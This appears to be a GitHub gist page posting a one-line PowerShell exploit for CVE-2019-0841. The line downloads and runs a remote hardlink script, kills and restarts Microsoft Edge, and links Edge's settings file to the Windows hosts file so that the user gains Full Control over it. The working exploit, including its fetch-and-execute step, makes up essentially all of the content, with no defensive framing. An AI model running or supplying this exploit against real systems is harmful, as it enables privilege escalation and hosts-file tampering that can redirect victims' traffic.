Skip to content

Instantly share code, notes, and snippets.

@xillwillx
Last active June 17, 2020 17:58
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save xillwillx/0377cb2284fa82edb4d2975bab585c45 to your computer and use it in GitHub Desktop.
Save xillwillx/0377cb2284fa82edb4d2975bab585c45 to your computer and use it in GitHub Desktop.
CVE-2019-0841 - Overwrite HOST file with "Full Control" permissions given to the user
iex (New-Object net.webclient).downloadstring('https://github.com/FuzzySecurity/PowerShell-Suite/raw/master/Native-HardLink.ps1');start microsoft-edge:;get-process -name MicrosoftEdge | Stop-process;sleep 2;Native-HardLink -Link "$env:localappdata\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\settings\settings.dat" -target "$env:windir\system32\drivers\etc\hosts";start microsoft-edge:;get-process -name Microsoftedge | stop-process
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment